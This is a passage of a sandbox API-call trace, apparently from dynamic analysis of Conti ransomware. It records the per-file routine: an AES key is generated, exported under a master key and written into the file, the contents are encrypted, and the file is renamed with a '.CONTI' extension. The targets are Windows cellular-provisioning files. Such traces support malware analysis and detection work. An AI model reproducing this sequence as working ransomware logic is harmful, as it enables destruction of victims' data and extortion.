	[0110.680] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6567858 | out: hHeap=0x1720000) returned 1
	[0110.680] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88) returned 1
	[0110.680] CryptGenKey (in: hProv=0x176c4e0, Algid=0x6610, dwFlags=0x1, phKey=0x6568f20 | out: phKey=0x6568f20*=0x17c8330) returned 1
	[0110.680] CryptExportKey (in: hKey=0x17c8330, hExpKey=0x175e7f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6568f24, pdwDataLen=0x573fb4c | out: pbData=0x6568f24*, pdwDataLen=0x573fb4c*=0x20c) returned 1
	[0110.680] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\333__Connections_Cellular_PL-PLUS (Poland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\333__connections_cellular_pl-plus (poland)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.681] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\333__Connections_Cellular_PL-PLUS (Poland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\333__connections_cellular_pl-plus (poland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0
	[0110.681] GetLastError () returned 0x0
	[0110.681] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x573faf8 | out: lpFileSize=0x573faf8*=844) returned 1
	[0110.681] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x34c
	[0110.681] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.681] SetEndOfFile (hFile=0x3d0) returned 1
	[0110.681] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.681] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.681] WriteFile (in: hFile=0x3d0, lpBuffer=0x6568f24*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x573fb04, lpOverlapped=0x0 | out: lpBuffer=0x6568f24*, lpNumberOfBytesWritten=0x573fb04*=0x20c, lpOverlapped=0x0) returned 1
	[0110.688] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.688] ReadFile (in: hFile=0x3d0, lpBuffer=0x107e0000, nNumberOfBytesToRead=0x34c, lpNumberOfBytesRead=0x573fb24, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesRead=0x573fb24*=0x34c, lpOverlapped=0x0) returned 1
	[0110.688] CryptEncrypt (in: hKey=0x17c8330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x34c, dwBufLen=0x500000 | out: pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x350) returned 1
	[0110.688] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.688] WriteFile (in: hFile=0x3d0, lpBuffer=0x107e0000*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x573fb38, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesWritten=0x573fb38*=0x350, lpOverlapped=0x0) returned 1
	[0110.688] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.688] WriteFile (in: hFile=0x3d0, lpBuffer=0x6568f18*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x573fb50, lpOverlapped=0x0 | out: lpBuffer=0x6568f18*, lpNumberOfBytesWritten=0x573fb50*=0x8, lpOverlapped=0x0) returned 1
	[0110.688] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.688] CloseHandle (hObject=0x3d0) returned 1
	[0110.688] GetProcessHeap () returned 0x1720000
	[0110.688] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b900
	[0110.688] lstrcpyW (in: lpString1=0x653b900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\333__Connections_Cellular_PL-PLUS (Poland)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\333__Connections_Cellular_PL-PLUS (Poland)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\333__Connections_Cellular_PL-PLUS (Poland)_i0$(__MVID)@WAP.provxml"
	[0110.688] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\333__Connections_Cellular_PL-PLUS (Poland)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\333__Connections_Cellular_PL-PLUS (Poland)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\333__Connections_Cellular_PL-PLUS (Poland)_i0$(__MVID)@WAP.provxml.CONTI"
	[0110.688] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\333__Connections_Cellular_PL-PLUS (Poland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\333__connections_cellular_pl-plus (poland)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\333__Connections_Cellular_PL-PLUS (Poland)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\333__connections_cellular_pl-plus (poland)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.689] GetProcessHeap () returned 0x1720000
	[0110.689] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b900 | out: hHeap=0x1720000) returned 1
	[0110.689] CryptDestroyKey (hKey=0x17c8330) returned 1
	[0110.689] GetProcessHeap () returned 0x1720000
	[0110.689] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6566cd0 | out: hHeap=0x1720000) returned 1
	[0110.689] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88) returned 1
	[0110.689] CryptGenKey (in: hProv=0x176c4e0, Algid=0x6610, dwFlags=0x1, phKey=0x6569cd0 | out: phKey=0x6569cd0*=0x17c83b0) returned 1
	[0110.689] CryptExportKey (in: hKey=0x17c83b0, hExpKey=0x175e7f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6569cd4, pdwDataLen=0x573fb4c | out: pbData=0x6569cd4*, pdwDataLen=0x573fb4c*=0x20c) returned 1
	[0110.690] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\335__Connections_Cellular_Optimus (Portugal)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\335__connections_cellular_optimus (portugal)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.690] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\335__Connections_Cellular_Optimus (Portugal)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\335__connections_cellular_optimus (portugal)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0
	[0110.690] GetLastError () returned 0x0
	[0110.690] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x573faf8 | out: lpFileSize=0x573faf8*=711) returned 1
	[0110.690] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c7
	[0110.691] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.691] SetEndOfFile (hFile=0x3d0) returned 1
	[0110.691] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.691] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.691] WriteFile (in: hFile=0x3d0, lpBuffer=0x6569cd4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x573fb04, lpOverlapped=0x0 | out: lpBuffer=0x6569cd4*, lpNumberOfBytesWritten=0x573fb04*=0x20c, lpOverlapped=0x0) returned 1
	[0110.697] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.697] ReadFile (in: hFile=0x3d0, lpBuffer=0x107e0000, nNumberOfBytesToRead=0x2c7, lpNumberOfBytesRead=0x573fb24, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesRead=0x573fb24*=0x2c7, lpOverlapped=0x0) returned 1
	[0110.697] CryptEncrypt (in: hKey=0x17c83b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x2c7, dwBufLen=0x500000 | out: pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x2d0) returned 1
	[0110.697] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.697] WriteFile (in: hFile=0x3d0, lpBuffer=0x107e0000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x573fb38, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesWritten=0x573fb38*=0x2d0, lpOverlapped=0x0) returned 1
	[0110.697] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.698] WriteFile (in: hFile=0x3d0, lpBuffer=0x6569cc8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x573fb50, lpOverlapped=0x0 | out: lpBuffer=0x6569cc8*, lpNumberOfBytesWritten=0x573fb50*=0x8, lpOverlapped=0x0) returned 1
	[0110.698] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.698] CloseHandle (hObject=0x3d0) returned 1
	[0110.698] GetProcessHeap () returned 0x1720000
	[0110.698] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b900
	[0110.698] lstrcpyW (in: lpString1=0x653b900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\335__Connections_Cellular_Optimus (Portugal)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\335__Connections_Cellular_Optimus (Portugal)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\335__Connections_Cellular_Optimus (Portugal)_i0$(__MVID)@WAP.provxml"
	[0110.698] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\335__Connections_Cellular_Optimus (Portugal)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\335__Connections_Cellular_Optimus (Portugal)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\335__Connections_Cellular_Optimus (Portugal)_i0$(__MVID)@WAP.provxml.CONTI"
	[0110.698] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\335__Connections_Cellular_Optimus (Portugal)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\335__connections_cellular_optimus (portugal)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\335__Connections_Cellular_Optimus (Portugal)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\335__connections_cellular_optimus (portugal)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.699] GetProcessHeap () returned 0x1720000
	[0110.699] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b900 | out: hHeap=0x1720000) returned 1
	[0110.699] CryptDestroyKey (hKey=0x17c83b0) returned 1
	[0110.699] GetProcessHeap () returned 0x1720000
	[0110.699] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65670a8 | out: hHeap=0x1720000) returned 1
	[0110.699] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88) returned 1
	[0110.699] CryptGenKey (in: hProv=0x176c4e0, Algid=0x6610, dwFlags=0x1, phKey=0x656b3a0 | out: phKey=0x656b3a0*=0x17c8330) returned 1
	[0110.699] CryptExportKey (in: hKey=0x17c8330, hExpKey=0x175e7f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x656b3a4, pdwDataLen=0x573fb4c | out: pbData=0x656b3a4*, pdwDataLen=0x573fb4c*=0x20c) returned 1
	[0110.700] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\337__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\337__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20
	[0110.700] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\337__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\337__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0
	[0110.700] GetLastError () returned 0x0
	[0110.700] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x573faf8 | out: lpFileSize=0x573faf8*=459) returned 1
	[0110.700] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1cb
	[0110.700] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.700] SetEndOfFile (hFile=0x3d0) returned 1
	[0111.082] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.082] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.082] WriteFile (in: hFile=0x3d0, lpBuffer=0x656b3a4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x573fb04, lpOverlapped=0x0 | out: lpBuffer=0x656b3a4*, lpNumberOfBytesWritten=0x573fb04*=0x20c, lpOverlapped=0x0) returned 1
	[0111.084] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.084] ReadFile (in: hFile=0x3d0, lpBuffer=0x107e0000, nNumberOfBytesToRead=0x1cb, lpNumberOfBytesRead=0x573fb24, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesRead=0x573fb24*=0x1cb, lpOverlapped=0x0) returned 1
	[0111.084] CryptEncrypt (in: hKey=0x17c8330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x1cb, dwBufLen=0x500000 | out: pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x1d0) returned 1
	[0111.084] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.084] WriteFile (in: hFile=0x3d0, lpBuffer=0x107e0000*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x573fb38, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesWritten=0x573fb38*=0x1d0, lpOverlapped=0x0) returned 1
	[0111.084] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.084] WriteFile (in: hFile=0x3d0, lpBuffer=0x656b398*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x573fb50, lpOverlapped=0x0 | out: lpBuffer=0x656b398*, lpNumberOfBytesWritten=0x573fb50*=0x8, lpOverlapped=0x0) returned 1
	[0111.084] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.084] CloseHandle (hObject=0x3d0) returned 1
	[0111.084] GetProcessHeap () returned 0x1720000
	[0111.084] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0111.204] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\337__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\337__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\337__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml"
	[0111.204] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\337__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\337__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\337__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI"
	[0111.204] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\337__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\337__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\337__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\337__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.conti")) returned 1
	[0111.205] GetProcessHeap () returned 0x1720000
	[0111.205] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0111.205] CryptDestroyKey (hKey=0x17c8330) returned 1
	[0111.205] GetProcessHeap () returned 0x1720000
	[0111.205] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6567d78 | out: hHeap=0x1720000) returned 1
	[0111.205] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88) returned 1
	[0111.205] CryptGenKey (in: hProv=0x176c4e0, Algid=0x6610, dwFlags=0x1, phKey=0x6515758 | out: phKey=0x6515758*=0x17c8330) returned 1
	[0111.205] CryptExportKey (in: hKey=0x17c8330, hExpKey=0x175e7f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x651575c, pdwDataLen=0x573fb4c | out: pbData=0x651575c*, pdwDataLen=0x573fb4c*=0x20c) returned 1
	[0111.206] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\392__Connections_Cellular_Orange (Slovakia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\392__connections_cellular_orange (slovakia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0111.206] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\392__Connections_Cellular_Orange (Slovakia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\392__connections_cellular_orange (slovakia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0111.206] GetLastError () returned 0x0
	[0111.206] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x573faf8 | out: lpFileSize=0x573faf8*=713) returned 1
	[0111.206] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c9
	[0111.206] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x22b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.206] SetEndOfFile (hFile=0x3d4) returned 1
	[0111.207] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.207] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.207] WriteFile (in: hFile=0x3d4, lpBuffer=0x651575c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x573fb04, lpOverlapped=0x0 | out: lpBuffer=0x651575c*, lpNumberOfBytesWritten=0x573fb04*=0x20c, lpOverlapped=0x0) returned 1
	[0111.361] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.361] ReadFile (in: hFile=0x3d4, lpBuffer=0x107e0000, nNumberOfBytesToRead=0x2c9, lpNumberOfBytesRead=0x573fb24, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesRead=0x573fb24*=0x2c9, lpOverlapped=0x0) returned 1
	[0111.361] CryptEncrypt (in: hKey=0x17c8330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x2c9, dwBufLen=0x500000 | out: pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x2d0) returned 1
	[0111.362] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.362] WriteFile (in: hFile=0x3d4, lpBuffer=0x107e0000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x573fb38, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesWritten=0x573fb38*=0x2d0, lpOverlapped=0x0) returned 1
	[0111.362] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.362] WriteFile (in: hFile=0x3d4, lpBuffer=0x6515750*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x573fb50, lpOverlapped=0x0 | out: lpBuffer=0x6515750*, lpNumberOfBytesWritten=0x573fb50*=0x8, lpOverlapped=0x0) returned 1
	[0111.362] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.362] CloseHandle (hObject=0x3d4) returned 1
